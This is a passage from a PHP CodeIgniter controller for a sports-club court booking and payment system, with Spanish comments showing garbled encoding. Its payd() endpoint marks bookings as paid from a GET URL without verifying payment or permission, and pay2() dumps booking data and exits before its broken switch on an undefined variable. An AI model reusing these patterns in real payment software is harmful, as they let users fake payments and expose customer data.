# Si se ha marcado que la reserva no tiene coste, podemos saltarnos la siguiente pestaรฑa y marcar la reserva como hecha
$estado_reserva=9;
$modo_pago=1;
$this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $booking_id_user, $booking_user_desc, $booking_user_phone, 1, $booking_no_cost_desc);
$this->reservas->setPrice($id_transaction);
$info=$this->reservas->getBookingInfoById($id_transaction);
# Una vez marcada como reservada, pinto el javascript necesario para que se redirija a la รบltima pestaรฑa.
//$method, $id_transaction, $dummy, $no_cost = '0', $no_cost_desc = NULL
$this->session->set_flashdata('booking_no_cost_desc',$booking_no_cost_desc);
echo '<script type="text/javascript">'."\r\n";
?>
var direccion2 = '<?php echo site_url('reservas/payd/cash/'.$id_transaction.'/'.time().'/1');?>';
$("#accordion").accordion({ animated: 'slide' });
$("#confirm_payment").html(' <div class="ui-widget"> <div class="ui-state-highlight ui-corner-all" > <p align="center">Loading.... <?php echo img( array('src'=>'images/load.gif', "align"=>"absmiddle", "border"=>"0"));?></p> </div> </div>');
$.ajax({
type: 'GET',
url: direccion2,
success: function(data) {
$("#search_payment").html(' <div class="ui-widget"> <div class="ui-state-highlight ui-corner-all" > <p><?php echo img( array('src'=>'images/warning_48.png', 'border'=>'0', 'alt' => 'Warning', 'align'=>'absmiddle')); ?>Ya solo puedes hacer una nueva búsqueda o confirmar la seleccion.</p> </div> </div>');
$("#accordion").accordion("activate" , 4);
$("#search_extra").html(' <div class="ui-widget"> <div class="ui-state-highlight ui-corner-all" > <p><?php echo img( array('src'=>'images/warning_48.png', 'border'=>'0', 'alt' => 'Warning', 'align'=>'absmiddle')); ?>Ya solo puedes hacer una nueva búsqueda o confirmar la seleccion.</p> </div> </div>');
$("#confirm_payment").html(data);
}
});
<?php
echo '</script>'."\r\n";
} else {
# Si no estรก marcada como 'sin coste', completo la informaciรณn de la reserva con los datos facilitados, grabo en session la informaciรณn de la reserva y me redirijo a la pantalla de pagos.
$this->reservas->setSelectionReserved($id_transaction, $estado_reserva, 0, $booking_id_user, $booking_user_desc, $booking_user_phone, 0);
$this->reservas->setPrice($id_transaction); //exit();
$info=$this->reservas->getBookingInfoById($id_transaction);
//print("<pre>");print_r($info);print("</pre>");
//exit();
# Gestiรณn de mรฉtodos de pago a mostrar
$this->load->model('Payment_model', 'pagos', TRUE);
$paymentMethods=$this->pagos->getPaymentMethodsByUser($user_level);
if($user_level==7) {
$paymentMethods['cash'] = FALSE;
$paymentMethods['creditcard'] = FALSE;
}
$this->session->set_flashdata('paymentMethods', $paymentMethods);
$conceptos = array();
array_push($conceptos, array('text' => "Reserva ".$info['court']." (".$this->app_common->IntervalToTime($info['intervals'], $info['id_court']).")", 'value' => $info['price']));
if($info['light']) array_push($conceptos, array('text' => "Suplemento de luz", 'value' => $info['light_price']));
if(isset($info['precio_supl1']) && $info['precio_supl1'] != 0) array_push($conceptos, array('text' => "Suplemento reserva anticipada", 'value' => $info['precio_supl1']));
if(isset($info['playing_users']) && count($info['playing_users']) > 1) {
$externos = 0;
if($debug) print_r($info['players']);
foreach($info['playing_users'] as $usuario) {
if(isset($usuario['id_user']) && $usuario['id_user'] == 0) $externos++;
}
$precio = 0;
if($externos > 0 ) {
$precio = ($externos * 7 );
$this->reservas->setPriceExtra($id_transaction, 'price_supl2', $precio, 'first');
//echo $externos;
array_push($conceptos, array('text' => "Invitados (".$externos.")", 'value' => $precio));
}
}
$booking_extra_lasmatillas=$this->config->item('booking_extra_lasmatillas');
$booking_extra_lasmatillas_quantity=$this->config->item('booking_extra_lasmatillas_quantity');
if(isset($booking_extra_lasmatillas) && $booking_extra_lasmatillas && isset($booking_extra_lasmatillas_quantity)){
if($info['intervals']/3 >= 1 && $info['intervals']%3 == 0) {
$price_supl3 = $booking_extra_lasmatillas_quantity * intval($info['intervals']/3);
$this->reservas->setPriceExtra($id_transaction, 'price_supl3', $price_supl3, 'first');
array_push($conceptos, array('text' => "Descuento hora y media", 'value' => $price_supl3));
}
}
//echo ($info['intervals']/3).'<br>';
//echo '<pre>';print_r($info);print_r($conceptos);
//exit();
$this->session->set_flashdata('paymentLines', $conceptos);
//$this->session->set_flashdata('returnOkUrl', site_url('reservas/booking_confirmation/'.$id_transaction.'/1/'.time()));
$this->session->set_flashdata('returnKoUrl', site_url('reservas/booking_confirmation/'.$id_transaction.'/0/'.time()));
redirect(site_url('payment/payment_request/1/'.$id_transaction), 'Location');
exit();
}
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion de confirmaciรณn de partido de reto
# -------------------------------------------------------------------
function confirm_reto($dummy, $id_transaction, $full_view = 0, $prereserved = 0)
{
$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
$this->load->model('Redux_auth_model', 'usuario', TRUE);
$session=$this->session->userdata('session_id');
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_level=$profile->group;
} else {
$this->session->set_userdata('error_message', 'Acceso a zona no habilitada');
redirect(site_url(), 'Location');
exit();
}
//print("<pre>");print_r($_POST);
$booking_id_user = $user_id;
$booking_no_cost = FALSE;
$booking_no_cost_desc = '';
$booking_light = $this->input->post('allow_light');
if($booking_light == "true") $booking_light = TRUE;
else $booking_light = FALSE;
if($booking_light) $this->reservas->setLight($id_transaction);
//echo "AA".$id_transaction;
//echo $this->session->userdata('idTransaction');
//print("<pre>"); print_r($this->reservas->getBookingInfoBySession($session));
$info=$this->reservas->getBookingInfoById($id_transaction);
//print("<pre>");print_r($info);print("</pre>");//exit();
if(!isset($info) || !is_array($info) || count($info)<1) {
$this->session->set_userdata('error_message', $this->lang->line('session_lost_alert'));
redirect(site_url('reservas'), 'Location');
exit();
}
$success=0;
$estado_reserva=7;
# Si no estรก marcada como 'sin coste', completo la informaciรณn de la reserva con los datos facilitados, grabo en session la informaciรณn de la reserva y me redirijo a la pantalla de pagos.
$this->reservas->setSelectionReserved($id_transaction, $estado_reserva, 0, $booking_id_user, '', '', 0);
$this->reservas->setSelectionShared($id_transaction);
//exit();
redirect(site_url('retos/new_reto/'.$id_transaction), 'Location');
exit();
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion de seleccion de pago para AJAX en pantalla de recepcion
# Se le llama al pulsar sobre la opciรณn de 'pagar' del menรบ contextual del panel de recepciรณn
# -------------------------------------------------------------------
function confirm3($dummy, $price_light = NULL, $light = NULL, $id_transaction = NULL)
{
$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
$this->load->model('Redux_auth_model', 'usuario', TRUE);
$session=$this->session->userdata('session_id');
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_level=$profile->group;
} else {
$user_id=0;
$user_level=9;
}
if(!isset($id_transaction)) {
$id_transaction=$this->session->userdata('idTransaction');
if($light=="true") $this->reservas->setLight($id_transaction,$price_light);
}
//echo $this->session->userdata('idTransaction');
//print("<pre>"); print_r($this->reservas->getBookingInfoBySession($session));
$info=$this->reservas->getBookingInfoById($id_transaction);
//print("<pre>");print_r($info);print("</pre>");//exit();
if(!isset($info) || !is_array($info) || count($info)<1) {
$this->session->set_flashdata('message', '<p class="error">'.$this->lang->line('session_lost_alert').'</p>');
redirect(site_url('/reservas/'), 'Location'); exit();
}
//print_r($this->redux_auth->profile());
/*
if($this->redux_auth->logged_in()) {
echo "logueado";
}
*/
//echo $this->input->post('allow_light').' - '.$light;
# Recoge las formas de pago disponibles para este nivel de usuario
$this->load->model('Payment_model', 'pagos', TRUE);
$paymentMethods=$this->pagos->getPaymentMethodsByUser($user_level);
# Especificaciones de mรฉtodos de pago de esta pantalla
$paymentMethods['tpv'] = FALSE;
$paymentMethods['reserve'] = FALSE;
$paymentMethods['prepaid'] = FALSE;
$paymentMethods['paypal'] = FALSE;
//print_r($paymentMethods);
# Variable que habilita o no el marcar la reserva sin coste
$no_cost=0;
if($user_level<=7) $no_cost=1;
$filtro=$this->config->item('no_cost_permission');
if(isset($filtro[$user_level])) $no_cost = $filtro[$user_level];
# Variable que habilita o no el reservar por otros usuarios
$alt_reserve=0;
if($user_level<=7) $alt_reserve=1;
# Variable que habilita o no el solicitar los datos del usuario para la reserva
$user_data=0;
if(!$this->redux_auth->logged_in()) $user_data=1;
# Cargo la vista de formas de pago
$paymnet_content= $this->load->view('reservas/pago', array('methods' => $paymentMethods, 'transaction_id' => $session, 'info' => $info), true);
//print("<pre>");print_r($menu);print("</pre>");
//echo $this->load->view('reservas/simple_result', array('availability' => $this->reservas->availability), true);
$this->load->view('reservas/confirm_admin2', array('info' => $info, 'no_cost' => $no_cost, 'alt_reserve' => $alt_reserve, 'multiuser' => '1', 'pay' => 1, 'pay_content' => $paymnet_content, 'form' => 'frmReserva', 'transaction_id' => $id_transaction));
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion de confirmacion de pago para AJAX
# -------------------------------------------------------------------
function pay2($idTransaction, $no_cost, $no_cost_desc = NULL, $user = NULL, $user_desc = NULL, $user_phone = NULL, $dummy)
{
$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
$this->load->model('Payment_model', 'pagos', TRUE);
$this->load->model('Redux_auth_model', 'usuario', TRUE);
$this->load->library('booking');
if($no_cost_desc=="null") $no_cost_desc = NULL;
if($user=="null") $user = 0;
if($user_desc=="null") $user_desc = NULL;
if($user_phone=="null") $user_phone = NULL;
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
} else $user_id=0;
$logged_user=$user_id;
$session=$this->session->userdata('user_id');
$info=$this->reservas->getBookingInfoById($idTransaction);
print("<pre>");print_r($info);print("</pre>");exit();
if(!isset($info) || !is_array($info) || count($info)<1) {
$this->session->set_userdata('error_message', $this->lang->line('session_lost_alert'));
redirect(site_url('/reservas/'), 'Location'); exit();
}
if($no_cost=="true") $no_cost=1;
else $no_cost=0;
if($no_cost) $info['total_price']=0;
$success=0;
switch($mode) {
case 'prepaid':
$estado_reserva=9;
$modo_pago=5;
$this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user, $user_desc, $user_phone, $no_cost, $no_cost_desc);
if(!$no_cost) {
if($this->usuario->addPrepaidMovement($user, floatval($info['total_price'] * (-1)), '1', 1, $idTransaction)) $success=1;
/*
$this->pagos->id_type=1; //Reserva de pista
$this->pagos->id_element=$session;
$this->pagos->id_transaction=$idTransaction;
$this->pagos->id_user=$user;
$this->pagos->id_paymentway=$modo_pago;
$this->pagos->status=$estado_reserva;
$this->pagos->quantity=$info['price'];
$this->pagos->datetime=date($this->config->item('log_date_format'));
$this->pagos->description='Cargo al credito prepago';
$this->pagos->create_user=$logged_user;
$this->pagos->create_time=date($this->config->item('log_date_format'));
if($this->pagos->setPayment()) $success=1;
*/
} else $success=1;
break;
case 'creditcard':
$estado_reserva=9;
$modo_pago=2;
$this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user, $user_desc, $user_phone, $no_cost, $no_cost_desc);
if(!$no_cost) {
$this->pagos->id_type=1; //Reserva de pista
$this->pagos->id_element=$session;
$this->pagos->id_transaction=$idTransaction;
$this->pagos->id_user=$user;
$this->pagos->desc_user=$user_desc;
$this->pagos->id_paymentway=$modo_pago;
$this->pagos->status=$estado_reserva;
$this->pagos->quantity=$info['total_price'];
$this->pagos->datetime=date($this->config->item('log_date_format'));
$this->pagos->description='Reserva por tarjeta credito';
$this->pagos->create_user=$logged_user;
$this->pagos->create_time=date($this->config->item('log_date_format'));
if($this->pagos->setPayment()) $success=1;
} else $success=1;
break;
case 'tpv':
$estado_reserva=7;
$estado_pago=5;
$modo_pago=6;
$this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user, $user_desc, $user_phone, $no_cost, $no_cost_desc);
if(!$no_cost) {
$this->pagos->id_type=1; //Reserva de pista
$this->pagos->id_element=$session;
$this->pagos->id_transaction=$idTransaction;
$this->pagos->id_user=$user;
$this->pagos->desc_user=$user_desc;
$this->pagos->id_paymentway=$modo_pago;
$this->pagos->status=$estado_pago;
$this->pagos->quantity=$info['total_price'];
$this->pagos->datetime=date($this->config->item('log_date_format'));
$this->pagos->description='Reserva por tarjeta credito';
$this->pagos->create_user=$logged_user;
$this->pagos->create_time=date($this->config->item('log_date_format'));
if($this->pagos->setPayment()) $success=9;
} else $success=1;
break;
case 'paypal':
$estado_reserva=7;
$estado_pago=5;
$modo_pago=3;
$this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user, $user_desc, $user_phone, $no_cost, $no_cost_desc);
if(!$no_cost) {
$this->pagos->id_type=1; //Reserva de pista
$this->pagos->id_element=$session;
$this->pagos->id_transaction=$idTransaction;
$this->pagos->id_user=$user;
$this->pagos->desc_user=$user_desc;
$this->pagos->id_paymentway=$modo_pago;
$this->pagos->status=$estado_pago ;
$this->pagos->quantity=$info['total_price'];
$this->pagos->datetime=date($this->config->item('log_date_format'));
$this->pagos->description='Reserva por Paypal';
$this->pagos->create_user=$logged_user;
$this->pagos->create_time=date($this->config->item('log_date_format'));
if($this->pagos->setPayment()) $success=9;
} else $success=1;
break;
case 'cash':
$estado_reserva=9;
$modo_pago=1;
$this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user, $user_desc, $user_phone, $no_cost, $no_cost_desc);
//echo "AA";exit();
if(!$no_cost) {
$this->pagos->id_type=1; //Reserva de pista
$this->pagos->id_element=$session;
$this->pagos->id_transaction=$idTransaction;
$this->pagos->id_user=$user;
$this->pagos->desc_user=$user_desc;
$this->pagos->id_paymentway=$modo_pago;
$this->pagos->status=$estado_reserva;
$this->pagos->quantity=$info['total_price'];
$this->pagos->datetime=date($this->config->item('log_date_format'));
$this->pagos->description='Reserva pagada en efectivo';
$this->pagos->create_user=$logged_user;
$this->pagos->create_time=date($this->config->item('log_date_format'));
if($this->pagos->setPayment()) $success=1;
} else $success=1;
break;
case 'bank':
$estado_reserva=9;
$estado_pago = 2;
$modo_pago=1;
$this->reservas->setSelectionReserved($idTransaction, $estado_reserva, $modo_pago, $user, $user_desc, $user_phone, $no_cost, $no_cost_desc);
//echo "AA";exit();
if(!$no_cost) {
$this->pagos->id_type=1; //Reserva de pista
$this->pagos->id_element=$session;
$this->pagos->id_transaction=$idTransaction;
$this->pagos->id_user=$user;
$this->pagos->desc_user=$user_desc;
$this->pagos->id_paymentway=$modo_pago;
$this->pagos->status=$estado_pago;
$this->pagos->quantity=$info['total_price'];
$this->pagos->datetime=date($this->config->item('log_date_format'));
$this->pagos->description='Reserva pagada en efectivo';
$this->pagos->create_user=$logged_user;
$this->pagos->create_time=date($this->config->item('log_date_format'));
if($this->pagos->setPayment()) $success=1;
} else $success=1;
break;
case 'reserve':
$estado_reserva=7;
$this->reservas->setSelectionReserved($idTransaction, $estado_reserva, 0, $user_id, $user_desc, $user_phone, $no_cost, $no_cost_desc);
$success=1;
break;
}
# Mail de notificaciรณn de reservas
if($success == "1" && $this->config->item('reserve_send_mail')) {
$this->booking->notify_booking($info);
}
#Cada vez que voy a buscar, actualizo el id de transaccion
$this->session->set_userdata('idTransaction', $this->app_common->getIdTransaction());
$this->load->view('reservas/payment', array('info' => $info, 'success' => $success));
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion de gestiรณn de la reserva tras el pago de la misma
# -------------------------------------------------------------------
function payd($method, $id_transaction, $dummy, $no_cost = '0', $no_cost_desc = NULL)
{
$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
$this->load->model('Payment_model', 'pagos', TRUE);
$this->load->model('Redux_auth_model', 'usuario', TRUE);
$this->load->library('booking');
$paymentMethods = $this->session->flashdata('paymentMethods');
//echo "<br>";
//print_r($paymentMethods);
$paymentLines = $this->session->flashdata('paymentLines');
//echo "<br>";
//print_r($paymentLines);
$returnOkUrl = $this->session->flashdata('returnOkUrl');
//echo "<br>".$returnOkUrl;
$returnKoUrl = $this->session->flashdata('returnKoUrl');
//echo "<br>".$returnKoUrl;
//echo "<br>".$id_transaction."<br>";
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
} else $user_id=0;
$logged_user=$this->session->userdata('user_id');
$session=$this->session->userdata('user_id');
$info=$this->reservas->getBookingInfoById($id_transaction);
// print("<pre>");print_r($info);print("</pre>");//exit();
if(!isset($info) || !is_array($info) || count($info)<1) {
$this->session->set_flashdata('message', '<p class="error">'.$this->lang->line('session_lost_alert').'</p>');
redirect(site_url('/reservas/'), 'Location'); exit();
}
$no_cost_desc = $this->session->flashdata('booking_no_cost_desc');
$success=0;
switch($method) {
case 'prepaid':
$estado_reserva=9;
$modo_pago=5;
if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=1;
break;
case 'creditcard':
$estado_reserva=9;
$modo_pago=2;
if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=1;
break;
case 'tpv':
$estado_reserva=7;
$estado_pago=5;
$modo_pago=6;
if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=5;
break;
case 'paypal':
$estado_reserva=7;
$estado_pago=5;
$modo_pago=3;
if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=1;
break;
case 'reserve':
$estado_reserva=7;
$this->reservas->setSelectionReserved($id_transaction, $estado_reserva, 0, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc);
$success=5;
break;
case 'cash':
$estado_reserva=9;
$modo_pago=1;
if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=1;
//echo "AA";exit();
break;
case 'bank':
$estado_reserva=9;
$modo_pago=4;
if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=1;
//echo "AA";exit();
break;
}
//exit();
//log_message('debug','Estado: '.$success);
# Mail de notificaciรณn de reservas
if(($success == "1" ||$success == "5")&& $this->config->item('reserve_send_mail')) {
$this->booking->notify_booking($info);
}
#Cada vez que voy a buscar, actualizo el id de transaccion
$this->session->set_userdata('idTransaction', $this->app_common->getIdTransaction());
if($returnOkUrl != '') {
//exit($returnOkUrl);
redirect($returnOkUrl, 'Location');
exit();
}
if(strlen($info['id'])<4) $order=sprintf("%04s", $info['id']).date('is').'re';
else $order=$info['id'].date('is').'re';
$paymentDescription = $info['operation_desc'];
$this->load->view('reservas/payment', array('info' => $info, 'success' => $success, 'order' => $order, 'total' => $info['total_price'], 'paymentDescription' => $paymentDescription));
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion de confirmacion de pago para AJAX
# -------------------------------------------------------------------
function booking_confirmation($idTransaction, $success, $dummy)
{
$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
$this->load->model('Payment_model', 'pagos', TRUE);
$this->load->model('Redux_auth_model', 'usuario', TRUE);
$this->load->library('booking');
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
$user_name=$profile->username;
} else {
$user_id=0;
$user_group=9;
$user_name=$this->lang->line('anonymous_user');
}
$logged_user=$user_id;
$session=$this->session->userdata('session_id');
$info=$this->reservas->getBookingInfoById($idTransaction);
$pago=$this->pagos->getPaymentByTransaction($idTransaction);
$permiso_ticket_arr = $this->config->item('payment_managment_permission');
$permiso_ticket = FALSE;
if(isset($permiso_ticket_arr) && $permiso_ticket_arr[$user_group]) $permiso_ticket = TRUE;
//print("<pre>");print_r($pago);print("</pre>");//exit();
if(!isset($info) || !is_array($info) || count($info)<1) {
$this->session->set_flashdata('message', '<p class="error">'.$this->lang->line('session_lost_alert').'</p>');
redirect(site_url('/reservas/'), 'Location'); exit();
}
if(isset($info['user']) && $info['user']!='0') {
$this->session->set_userdata('returnUrl', site_url('users/pagos/'.$info['user']));
}
if($success == "1") {
$this->reservas->complete_reserve($idTransaction);
# Mail de notificaciรณn de reservas
if(1==2 && $this->config->item('reserve_send_mail')) {
$this->booking->notify_booking($info);
}
}
#Cada vez que voy a buscar, actualizo el id de transaccion
$this->session->set_userdata('idTransaction', $this->app_common->getIdTransaction());
# Tamaรฑo minimo de los caracteres numรฉricos = 4 .. mรกs un sufijo para identificar el registro que estoy pagando
if(strlen($info['id'])<4) $order=sprintf("%04s", $info['id']).date('is').'re';
else $order=$info['id'].date('is').'re';
$paymentDescription = $info['operation_desc'];
if(in_array($this->agent->browser(), $this->config->item('special_browser'))) {
$added = array('added_footer' => 'Pagina adaptada a IE');
$data=array(
//'menu' => $this->load->view('menu', $menu, true),
'user_name' => $user_name,
//'search_fields' => $this->load->view('reservas/search_fields2', array('search_fields'=> $this->simpleSearchFields(), 'form' => 'frmReserva', 'disabled' => $disabled), true),
//'result' => $this->load->view('reservas/simple_result', array('availability' => $availability_array, 'user_id' => $user_id, 'filters' => $this->load->view('reservas/search_fields', array('search_fields'=> $this->simpleSearchFields()), true)), true),
//'validation_script' => $validation_script,
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
if($this->redux_auth->logged_in()) {
$data['meta']=$this->load->view('meta', '', true);
$data['header']=$this->load->view('header', array('enable_menu' => '1'), true);
$data['footer']=$this->load->view('footer', $added, true);
} else {
$data['meta']=$this->load->view('meta_index', '', true);
$data['header']=$this->load->view('header_index', array('enable_menu' => '0'), true);
$data['footer']=$this->load->view('footer_index', $added, true);
}
$data['main_content'] = $this->load->view('reservas/payment_iexplorer', array('user_name' => $user_name, 'info' => $info, 'pago' => $pago, 'permiso_ticket' => $permiso_ticket, 'success' => $success, 'order' => $order, 'total' => $info['total_price'], 'paymentDescription' => $paymentDescription), true);
$this->load->view('main', $data);
} else $this->load->view('reservas/payment', array('info' => $info, 'pago' => $pago, 'permiso_ticket' => $permiso_ticket, 'success' => $success, 'order' => $order, 'total' => $info['total_price'], 'paymentDescription' => $paymentDescription));
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que muestra un resumen de una reserva concreta
# -------------------------------------------------------------------
function resume($transaction=NULL, $encode=NULL)
{
$this->load->model('Reservas_model', 'reservas', TRUE);
/*
$transaction = $this->input->get('transaction');
$encode = $this->input->get('encode');
*/
if(!isset($transaction) || trim($transaction) =="" || !isset($encode) || trim($encode) =="" || $encode != $this->app_common->reserve_encode($transaction)) {
$menu=array('menu' => $this->app_common->get_menu_options());
$title = $this->config->item('app_name').' - '.'Intento fraudulento de acceso a datos de una reserva';
$main_content='<h1>Intento fraudulento de acceso a datos de una reserva</h1>';
} else {
$info=$this->reservas->getBookingInfoById($transaction);
$menu=array('menu' => $this->app_common->get_menu_options());
//print("<pre>");print_r($info);
$fecha=date($this->config->item('reserve_date_filter_format'), strtotime($info['date']));
$title='Participación en un partido en '.$this->config->item('club_name').' el '.$fecha.' - '.$this->config->item('app_name');
$main_content='<h1>Detalle en un partido en '.$this->config->item('club_name').'.</h1>';
$main_content.= $this->load->view('reservas/detail', array('info' => $info), TRUE);
//$main_content.='<p>Partido en '.$this->config->item('club_name').' el '.$fecha.' - '.$this->config->item('app_name').' en la pista '.$info['reserva'].'.</p>';
}
$data=array(
'meta' => $this->load->view('meta', array('title' => $title), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in()), true),
'menu' => $this->load->view('menu', $menu, true),
'footer' => $this->load->view('footer', '', true),
'main_content' => $main_content,
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que muestra un resumen de una reserva concreta
# -------------------------------------------------------------------
function tooltip_info($transaction = NULL)
{
$this->load->model('Reservas_model', 'reservas', TRUE);
if(isset($transaction) && trim($transaction) != "") {
$info=$this->reservas->getBookingInfoById($transaction);
$this->load->view('reservas/tooltip_info', array('info' => $info, 'buttons' => TRUE));
//$main_content.='<p>Partido en '.$this->config->item('club_name').' el '.$fecha.' - '.$this->config->item('app_name').' en la pista '.$info['reserva'].'.</p>';
}
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion que borra reservas
# -------------------------------------------------------------------
function clean_block_reserves()
{
$this->load->model('Reservas_model', 'reservas', TRUE);
if(isset($transaction) && trim($transaction) != "") {
if($this->reservas->cleanBlockReserves()) echo '['.date('YmdHis').'] Borrado satisfactorio'."\r\n";
else echo '['.date('YmdHis').'] Borrado con errores'."\r\n";
}
}
# -------------------------------------------------------------------
# devuelve el listado de reservas para jqGrid en JSON
# -------------------------------------------------------------------
# -------------------------------------------------------------------
public function exportacion ($opciones = NULL)
{
//$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->library('booking');
//$this->load->library('encrypt');
$exportacion = $this->booking->exportacion();
//echo $texto."<pre>"; print_r($exportacion);
//exit();
//echo json_encode ($data );
//exit( 0 );
}
public function test ($id_transaction, $id_booking, $time, $opciones = NULL)
{
//$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->library('booking');
$exportacion = $this->booking->getExtra($id_transaction, $id_booking, $time);
echo '<pre>'; print($exportacion);
exit();
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Funcion de gestiรณn de la reserva tras el pago de la misma
# -------------------------------------------------------------------
function pagoautomatico($id_transaction)
{
$this->load->model('Reservas_model', 'reservas', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
$this->load->model('Payment_model', 'pagos', TRUE);
$this->load->model('Redux_auth_model', 'usuario', TRUE);
$this->load->library('booking');
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
} else $user_id=0;
$logged_user=$this->session->userdata('user_id');
$session=$this->session->userdata('user_id');
$info=$this->reservas->getBookingInfoById($id_transaction);
// print("<pre>");print_r($info);print("</pre>");//exit();
if(!isset($info) || !is_array($info) || count($info)<1) {
$this->session->set_flashdata('message', '<p class="error">'.$this->lang->line('session_lost_alert').'</p>');
redirect(site_url('/reservas/'), 'Location'); exit();
}
//print("<pre>"); print_r($info);exit();
$success = 0; $estado_pago=0;
$estado_reserva=9;
$estado_pago = 2;
$modo_pago=4;
//$this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $user, $user_desc, $user_phone, $no_cost, $no_cost_desc);
//echo "AA";exit();
//if(!$no_cost) {
$this->pagos->id_type=1; //Reserva de pista
$this->pagos->id_element=$this->session->userdata('session_id');
$this->pagos->id_transaction=$id_transaction;
$this->pagos->id_user=$info['user'];
$this->pagos->desc_user=$info['user_desc'];
$this->pagos->id_paymentway=$modo_pago;
$this->pagos->status=$estado_pago; // Pago bancario pendiente
$this->pagos->quantity=$info['total_price'];
$this->pagos->datetime=date($this->config->item('log_date_format'));
$this->pagos->description=$info['operation_desc'];
$this->pagos->create_user=$this->session->userdata('user_id');
$this->pagos->create_time=date($this->config->item('log_date_format'));
if($this->pagos->setPayment()) $success=1;
//} else $success=1;
$no_cost_desc = '';
$success=0;
$estado_reserva=9;
$modo_pago=4;
if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], 0, $no_cost_desc)) $success=1;
/*
switch($method) {
case 'prepaid':
$estado_reserva=9;
$modo_pago=5;
if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=1;
break;
case 'creditcard':
$estado_reserva=9;
$modo_pago=2;
if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=1;
break;
case 'tpv':
$estado_reserva=7;
$estado_pago=5;
$modo_pago=6;
if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=5;
break;
case 'paypal':
$estado_reserva=7;
$estado_pago=5;
$modo_pago=3;
if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=1;
break;
case 'reserve':
$estado_reserva=7;
$this->reservas->setSelectionReserved($id_transaction, $estado_reserva, 0, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc);
$success=5;
break;
case 'cash':
$estado_reserva=9;
$modo_pago=1;
if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=1;
//echo "AA";exit();
break;
case 'bank':
$estado_reserva=9;
$modo_pago=4;
if($this->reservas->setSelectionReserved($id_transaction, $estado_reserva, $modo_pago, $info['user'], $info['user_desc'], $info['user_phone'], $no_cost, $no_cost_desc)) $success=1;
//echo "AA";exit();
break;
}
*/
}
}
/* End of file welcome.php */
/* Location: ./system/application/controllers/welcome.php */```
lessons.php
```<?php
class Lessons extends Controller {
/*
# CONTENIDO
#
# index()
*/
